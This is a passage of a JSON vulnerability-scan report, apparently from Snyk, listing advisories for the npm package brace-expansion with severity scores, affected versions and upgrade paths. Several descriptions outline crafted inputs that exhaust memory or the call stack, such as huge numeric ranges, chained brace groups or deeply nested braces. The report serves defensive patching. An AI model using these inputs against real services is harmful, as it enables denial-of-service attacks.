"socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": 